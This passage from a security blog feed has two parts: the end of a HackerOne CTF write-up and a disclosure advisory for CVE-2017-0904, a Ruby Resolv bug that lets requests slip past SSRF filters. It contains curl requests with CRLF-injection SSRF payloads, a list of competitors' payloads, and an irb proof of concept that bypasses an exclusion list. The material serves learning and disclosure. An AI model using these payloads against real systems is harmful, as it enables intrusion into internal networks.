&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337@212.hackerone.com\"}'

{"next":"\/read.php?id=2"}

$ curl 'http://admin.acme.org/read.php?id=2' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K"}

$ echo 'SG1tLCB3aGVyZSB3b3VsZCBpdCBiZT8K' | base64 --decode

Hmm, where would it be?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Please note that I only required two IDs for this and the image below is photoshopped.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--85uUpn-m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32836550-76a462a6-ca0a-11e7-8a1e-53df538c4966.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--85uUpn-m--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32836550-76a462a6-ca0a-11e7-8a1e-53df538c4966.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6 - Massive Frustration and CRLF
&lt;/h2&gt;

&lt;p&gt;What do CRLF and frustration have in common? I did not know either until I witnessed this final step. In order, to request the flag one had to exploit a CRLF issue that would force the server to ignore everything after the valid filename. As we will see in a bit this came to me as quite a surprise.&lt;/p&gt;

&lt;p&gt;I had a feeling that the flag would be located at &lt;code&gt;/flag&lt;/code&gt;, because earlier I had come across this little gem while playing around with the IP.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hrqcnFeB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990289-43304302-cd27-11e7-996d-da59b5f796ab.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hrqcnFeB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990289-43304302-cd27-11e7-996d-da59b5f796ab.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This part took me far longer than I would like to admit. The amount frustration had me staring at my screen like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://camo.githubusercontent.com/ddc64da52be127f0c0abb710ff92eb1acbb971a4/68747470733a2f2f6d65646961312e74656e6f722e636f6d2f696d616765732f66303562336663373031373464356531326163643131663635653132303063612f74656e6f722e676966" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/ddc64da52be127f0c0abb710ff92eb1acbb971a4/68747470733a2f2f6d65646961312e74656e6f722e636f6d2f696d616765732f66303562336663373031373464356531326163643131663635653132303063612f74656e6f722e676966" alt="" title="© 2017 Disney"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first I thought playing around with different encodings of &lt;code&gt;#&lt;/code&gt; would help make everything after &lt;code&gt;/flag&lt;/code&gt; useless; i.e., the request would retrieve &lt;code&gt;/flag&lt;/code&gt; and not &lt;code&gt;/flag@212...&lt;/code&gt;. Boy was I wrong! I threw every single possible encoding that I could come up with at that server. All of this manually. After every failed request that was made, I could see Jobert in my mind chuckling away with the logs pulled up on his monitor.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--L8omKSJ0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32785635-4d429576-c952-11e7-8f3d-4a849cdac9b9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--L8omKSJ0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32785635-4d429576-c952-11e7-8f3d-4a849cdac9b9.png" alt="" title="© 2017 HackerOne, Inc."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That image was just stuck in my head. “What has Jobert done here to make things as difficult as possible for me?”, I was asking myself. Time and time again I failed. That was until &lt;a href="https://twitter.com/yappare"&gt;yappare&lt;/a&gt;, who had already solved the CTF by then, gave me a subtle hint that put me right back on track. “CR”, they said. “CR?”, I thought to myself, “What is CR?”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://camo.githubusercontent.com/2de8830b806737d783559bc16e113e05fc6c5e64/68747470733a2f2f692e67697068792e636f6d2f6d656469612f3178594b55485250364e7664432f67697068792e676966" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/2de8830b806737d783559bc16e113e05fc6c5e64/68747470733a2f2f692e67697068792e636f6d2f6d656469612f3178594b55485250364e7664432f67697068792e676966" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  &lt;em&gt;Disc scratch&lt;/em&gt; ... CRLF!
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://camo.githubusercontent.com/75a104fc473eb371d4f7201870fd78f7aee93855/687474703a2f2f6769662d66696e6465722e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031342f30382f4b65726d69742d7468652d46726f672d54616b65732d7468652d414c532d4963652d4275636b65742d4368616c6c656e67652e676966" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/75a104fc473eb371d4f7201870fd78f7aee93855/687474703a2f2f6769662d66696e6465722e636f6d2f77702d636f6e74656e742f75706c6f6164732f323031342f30382f4b65726d69742d7468652d46726f672d54616b65732d7468652d414c532d4963652d4275636b65742d4368616c6c656e67652e676966" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So now I needed to play around with CR and LF characters and see how the server responds. This did still require a little bit of trial and error (understatement of the year), but in the end, I had a cURL request that would return a valid &lt;code&gt;read.php&lt;/code&gt; ID and requested the &lt;code&gt;flag&lt;/code&gt; filename.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost:1337/flag\\n\\r\\n\\r212.hackerone.com\"}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I will throw in some fancy LaTeX formulas to explain the very final step and to look I understand maths.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---QCU5bal--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990532-124af5a8-cd2b-11e7-8e43-0971327649ae.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---QCU5bal--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990532-124af5a8-cd2b-11e7-8e43-0971327649ae.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wRx0pDeq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32784209-7efdf820-c94e-11e7-8baf-c524bdf79ff4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wRx0pDeq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32784209-7efdf820-c94e-11e7-8baf-c524bdf79ff4.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Basically, for those of you who do not understand maths, what I am trying to say is that for every valid CRLF returned ID ( &lt;strong&gt;&lt;em&gt;i&lt;/em&gt;&lt;/strong&gt; ), we must deduct 2 to be able to retrieve the base64-encoded flag ( &lt;strong&gt;&lt;em&gt;f&lt;/em&gt;&lt;/strong&gt; ). For instance, if we get &lt;code&gt;read.php?=34&lt;/code&gt; we must send a GET request to &lt;code&gt;read.php?=32&lt;/code&gt;. This behaviour was very unusual and would only take place when you supplied the server with a valid CRLF bypass. I assume this was another of Jobert's the engineer’s clever little tricks to put the hacker off.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ curl 'http://admin.acme.org/read.php?id=32' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":"RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK"}

$ echo 'RkxBRzogQ0YsMmRzVlwvXWZSQVlRLlRERXBgdyJNKCVtVTtwOSs5RkR7WjQ4WCpKdHR7JXZTKCRnN1xTKTpmJT1QW1lAbmthPTx0cWhuRjxhcT1LNTpCQ0BTYip7WyV6IitAeVBiL25mRm5hPGUkaHZ7cDhyMlt2TU1GNTJ5OnovRGg7ezYK' | base64 --decode

FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(%mU;p9+9FD{Z48X*Jtt{%vS($g7\S):f%=P[Y@nka=&amp;lt;tqhnF&amp;lt;aq=K5:BC@Sb*{[%z"+@yPb/nfFna&amp;lt;e$hv{p8r2[vMMF52y:z/Dh;{6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://camo.githubusercontent.com/27ac0e868cb26c3d24dc34fadb19fa9bf5c8f2ed/687474703a2f2f33312e6d656469612e74756d626c722e636f6d2f63326635396664386335623162373865623932613939393636353830393638322f74756d626c725f6e69746377675451636731746a326c6a386f315f3430302e676966" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/27ac0e868cb26c3d24dc34fadb19fa9bf5c8f2ed/687474703a2f2f33312e6d656469612e74756d626c722e636f6d2f63326635396664386335623162373865623932613939393636353830393638322f74756d626c725f6e69746377675451636731746a326c6a386f315f3430302e676966" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Comparing my solution to those of other competitors
&lt;/h2&gt;

&lt;p&gt;After submitting the flag to HackerOne, I helped some fellow competitors get back on track and even offered to review their write-ups. The beauty in doing this is not only do you build friendships with fellow researchers, you get some insight into the areas that other people might have struggled with. Interestingly, the CRLF step could have been solved in various ways. To give the reader a better idea of these CRLF payloads I have put together this section containing the payloads that impressed me including my basic descriptions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@TomNomNom
----------------
Payload: localhost:1337/flag\u000a212.something.com
Description: Tom demonstrated that it was possible to accomplish the same solution as I had arrived to by simply using the Unicode value. I had come across this while playing around with different encodings of # as mentioned in section 6.

@Alyssa_Herrera_ &amp;amp; @streaak
---------------------------------
Payload: 212.\nlocalhost:80\n.com &amp;amp; 212\n127.0.0.1\n.com respectively.
Description: These particular CRLF payloads caught me by surprise. I had not thought of simply surrounding the vital part of the URL with line feed characters.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion - What did I learn?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;This CTF really taught me the importance of chaining issues in order to increase the impact. Looking back, any of these steps could have been present in a real-world hacking scenario and had I stopped at any point I would have missed out on a great opportunity and reward.&lt;/li&gt;
&lt;li&gt;The challenges also taught me that it never hurts to ask for a little nudge if you are stuck somewhere. This is especially important when it comes to bug bounty hunting. We should be able to figure out most things on our own to some degree, but do not be afraid to ask someone for help when all else fails.&lt;/li&gt;
&lt;li&gt;Read everything very carefully. Although I learned this during the last CTF, I was reminded of the importance of taking notes of details again during this CTF.&lt;/li&gt;
&lt;li&gt;Remember to take a break once in a while. It is amazing what you can achieve when you get back on track after taking break and getting some rest.&lt;/li&gt;
&lt;li&gt;Take notes! That way when you go down the wrong path, you can easily work your way back to where you left off. I went down many paths and every time I would take notes of what my thought process was. This was also especially helpful when writing this document.&lt;/li&gt;
&lt;li&gt;This CTF also gave me an opportunity to use my newly acquired skills from Jobert’s previous CTF and put them to the test. This indicates that I am improving and learning as I go along.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  References
&lt;/h1&gt;

&lt;p&gt;[1] [Photograph by USA Network/NBCU]. (n.d.). Retrieved November 19, 2017, from &lt;a href="http://www.usanetwork.com/mrrobot"&gt;http://www.usanetwork.com/mrrobot&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[2] &lt;em&gt;It’s Always Sunny In Philadelphia&lt;/em&gt;. (n.d.). FXX. Retrieved November 19, 2017.&lt;/p&gt;

&lt;p&gt;[3] Pai, R. (2014, April 16). Reflected File Download attack allows attacker to ‘upload’ executables to hackerone.com domain. Retrieved November 19, 2017, from &lt;a href="https://hackerone.com/reports/50658"&gt;https://hackerone.com/reports/50658&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[4] &lt;em&gt;Be More Tea&lt;/em&gt; [Photograph]. (2017, November 19). Lipton/Disney.&lt;/p&gt;

&lt;p&gt;[5] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.&lt;/p&gt;

&lt;p&gt;[6] [Photograph]. (n.d.). HackerOne, Inc.&lt;/p&gt;

&lt;p&gt;[7, 8, 9] [Animated image by Disney]. (n.d.). Retrieved November 19, 2017.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Bypassing Server-Side Request Forgery filters by abusing a bug in Ruby’s native resolver.</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Thu, 09 Nov 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/edoverflow/bypassing-server-side-request-forgery-filters-by-abusing-a-bug-in-rubys-native-resolver--1g0j</link>
      <guid>https://forem.com/edoverflow/bypassing-server-side-request-forgery-filters-by-abusing-a-bug-in-rubys-native-resolver--1g0j</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;This is a security advisory for a bug that I discovered in &lt;code&gt;Resolv::getaddresses&lt;/code&gt; that enabled me to bypass multiple Server-Side Request Forgery filters. Applications such as GitLab and HackerOne were affected by this bug. The disclosure of all reports referenced in this advisory follow &lt;a href="https://www.hackerone.com/disclosure-guidelines" rel="noopener noreferrer"&gt;HackerOne’s Vulnerability Disclosure Guidelines&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This bug was assigned &lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0904" rel="noopener noreferrer"&gt;CVE-2017-0904&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability Details
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Resolv::getaddresses&lt;/code&gt; is OS-dependent, therefore by playing around with different IP formats one can return blank values. This bug can be abused to bypass exclusion lists often used to protect against SSRF.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;💻 Machine 1&lt;/th&gt;
&lt;th&gt;💻 Machine 2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu]&lt;/td&gt;
&lt;td&gt;ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;💻 Machine 1&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;irb(main):002:0&amp;gt; Resolv.getaddresses("127.0.0.1")
=&amp;gt; ["127.0.0.1"]
irb(main):003:0&amp;gt; Resolv.getaddresses("localhost")
=&amp;gt; ["127.0.0.1"]
irb(main):004:0&amp;gt; Resolv.getaddresses("127.000.000.1")
=&amp;gt; ["127.0.0.1"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;💻 Machine 2&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;irb(main):008:0&amp;gt; Resolv.getaddresses("127.0.0.1")
=&amp;gt; ["127.0.0.1"]
irb(main):009:0&amp;gt; Resolv.getaddresses("localhost")
=&amp;gt; ["127.0.0.1"]
irb(main):010:0&amp;gt; Resolv.getaddresses("127.000.000.1")
=&amp;gt; [] # 😱
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This issue is reproducible in the latest stable build of Ruby:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ruby -v
ruby 2.4.3p201 (2017-10-11 revision 60168) [x86_64-linux]
$ irb
irb(main):001:0&amp;gt; require 'resolv'
=&amp;gt; true
irb(main):002:0&amp;gt; Resolv.getaddresses("127.000.001")
=&amp;gt; []
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Proof of concept
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;irb(main):001:0&amp;gt; require 'resolv'
=&amp;gt; true
irb(main):002:0&amp;gt; uri = "0x7f.1"
=&amp;gt; "0x7f.1"
irb(main):003:0&amp;gt; server_ips = Resolv.getaddresses(uri)
=&amp;gt; [] # The bug!
irb(main):004:0&amp;gt; blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=&amp;gt; ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0&amp;gt; (blocked_ips &amp;amp; server_ips).any?
=&amp;gt; false # Bypass
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Root cause
&lt;/h2&gt;

&lt;p&gt;The following section describes the root cause of this bug. I have added some comments in the code snippets to help the reader follow along.&lt;/p&gt;

&lt;p&gt;When we run irb in debug mode (&lt;code&gt;irb -d&lt;/code&gt;) the following error is returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;irb(main):002:0&amp;gt; Resolv.getaddresses "127.1"
Exception `Resolv::DNS::Config::NXDomain' at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
Exception `Resolv::DNS::Config::NXDomain' at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
=&amp;gt; []
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the exception stems from &lt;code&gt;fetch_resource()&lt;/code&gt; &lt;sup&gt;&lt;a href="https://github.com/ruby/ruby/blob/e16bd0f4d81ef74035712853a5eb527f28abb342/lib/resolv.rb#L514-L554" rel="noopener noreferrer"&gt;[1]&lt;/a&gt;&lt;/sup&gt;. The “NXDOMAIN” response indicates that the resolver cannot find a corresponding PTR record. No surprise there, since, as we will see later on, &lt;code&gt;resolv.rb&lt;/code&gt; uses the operating system’s resolver.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Reverse DNS lookup on 💻 Machine 1.
$ nslookup 127.0.0.1
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
1.0.0.127.in-addr.arpa name = localhost.

Authoritative answers can be found from:

$ nslookup 127.000.000.1
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: 127.000.000.1
Address: 127.0.0.1

# NXDOMAIN for 127.1.
$ nslookup 127.1
Server: 127.0.0.53
Address: 127.0.0.53#53

** server can't find 127.1: NXDOMAIN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the following code snippets demonstrate why &lt;code&gt;Resolv::getaddresses&lt;/code&gt; is OS-dependent.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;getaddresses&lt;/code&gt; takes the address (&lt;code&gt;name&lt;/code&gt;) and passes it on to &lt;code&gt;each_address&lt;/code&gt; where once it has been resolved it is appended to the &lt;code&gt;ret&lt;/code&gt; array.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/resolv.rb, line 100
def getaddresses(name)
  # This is the "ret" array.
  ret = []
  # This is where "address" is appended to the "ret" array.
  each_address(name) {|address| ret &amp;lt;&amp;lt; address}
  return ret
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;each_address&lt;/code&gt; runs the &lt;code&gt;name&lt;/code&gt; through &lt;code&gt;@resolvers&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/resolv.rb, line 109
def each_address(name)
    if AddressRegex =~ name
      yield name
      return
    end
    yielded = false
    # "name" is passed on to the resolver here.
    @resolvers.each {|r|
      r.each_address(name) {|address|
        yield address.to_s
        yielded = true
      }
      return if yielded
    }
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;@resolvers&lt;/code&gt; is initialised in &lt;code&gt;initialize()&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/resolv.rb, line 109
def initialize(resolvers=[Hosts.new, DNS.new])
    @resolvers = resolvers
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Further on, &lt;code&gt;initialize&lt;/code&gt; is actually initialised by setting &lt;code&gt;config_info&lt;/code&gt; to &lt;code&gt;nil&lt;/code&gt; which uses the default configuration in this case &lt;code&gt;/etc/resolv.conf&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/resolv.rb, line 308
# Set to /etc/resolv.conf ¯\_(ツ)_/¯
def initialize(config_info=nil)
  @mutex = Thread::Mutex.new
  @config = Config.new(config_info)
  @initialized = nil
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the default configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/resolv.rb, line 959
def Config.default_config_hash(filename="/etc/resolv.conf")
  if File.exist? filename
    config_hash = Config.parse_resolv_conf(filename)
  else
    if /mswin|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM
      require 'win32/resolv'
      search, nameserver = Win32::Resolv.get_resolv_info
      config_hash = {}
      config_hash[:nameserver] = nameserver if nameserver
      config_hash[:search] = [search].flatten if search
    end
  end
  config_hash || {}
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This demonstrates that &lt;code&gt;Resolv::getaddresses&lt;/code&gt; is OS-dependent and that &lt;code&gt;getaddresses&lt;/code&gt; returns an empty &lt;code&gt;ret&lt;/code&gt; array when supplied with an IP address that fails during a reverse DNS lookup.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigation
&lt;/h2&gt;

&lt;p&gt;I suggest staying away from &lt;code&gt;Resolv::getaddresses&lt;/code&gt; altogether and using the &lt;code&gt;Socket&lt;/code&gt; library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;irb(main):002:0&amp;gt; Resolv.getaddresses("127.1")
=&amp;gt; []
irb(main):003:0&amp;gt; Socket.getaddrinfo("127.1", nil).sample[3]
=&amp;gt; "127.0.0.1"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Ruby Core dev team suggested using the same library.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The right way to check an address is using OS's resolver instead of resolv.rb if the address is resolved by OS's resolver. For example, Addrinfo.getaddrinfo of socket library can be used.  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tanaka Akira
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;% ruby -rsocket -e '
as = Addrinfo.getaddrinfo("192.168.0.1", nil)
p as
p as.map {|a| a.ipv4_private? }
'
[#&amp;lt;Addrinfo: 192.168.0.1 TCP&amp;gt;, #&amp;lt;Addrinfo: 192.168.0.1 UDP&amp;gt;, #&amp;lt;Addrinfo: 192.168.0.1 SOCK_RAW&amp;gt;]
[true, true, true]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Affected Applications and gems
&lt;/h2&gt;

&lt;h3&gt;
  
  
  GitLab Community Edition and Enterprise Edition
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Link to report: &lt;a href="https://hackerone.com/reports/215105" rel="noopener noreferrer"&gt;https://hackerone.com/reports/215105&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The fix for &lt;a href="https://hackerone.com/strukt" rel="noopener noreferrer"&gt;Mustafa Hasan&lt;/a&gt;’s &lt;a href="https://hackerone.com/reports/135937" rel="noopener noreferrer"&gt;report&lt;/a&gt; (&lt;a href="https://gitlab.com/gitlab-org/gitlab-ce/issues/17286" rel="noopener noreferrer"&gt;!17286&lt;/a&gt;) could be easily bypassed by abusing this bug. GitLab introduced an exclusion list, but would resolve the user-supplied address using &lt;code&gt;Resolv::getaddresses&lt;/code&gt; and then compare the output to the values in the exclusion list. This meant that one could no longer use certain addresses such as &lt;code&gt;http://127.0.0.1&lt;/code&gt; and &lt;code&gt;http://localhost/&lt;/code&gt;, which Mustafa Hasan used in the original report. The bypasses allowed me to scan a GitLab intance’s internal network.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32322200-fed2e176-bfc3-11e7-8bc1-e2dc241abf6b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32322200-fed2e176-bfc3-11e7-8bc1-e2dc241abf6b.png" alt="Error message - Open port"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32322478-ec02630e-bfc4-11e7-9d76-d481d27db8f3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32322478-ec02630e-bfc4-11e7-9d76-d481d27db8f3.png" alt="Error message - Closed port"&gt;&lt;/a&gt;&lt;/p&gt;

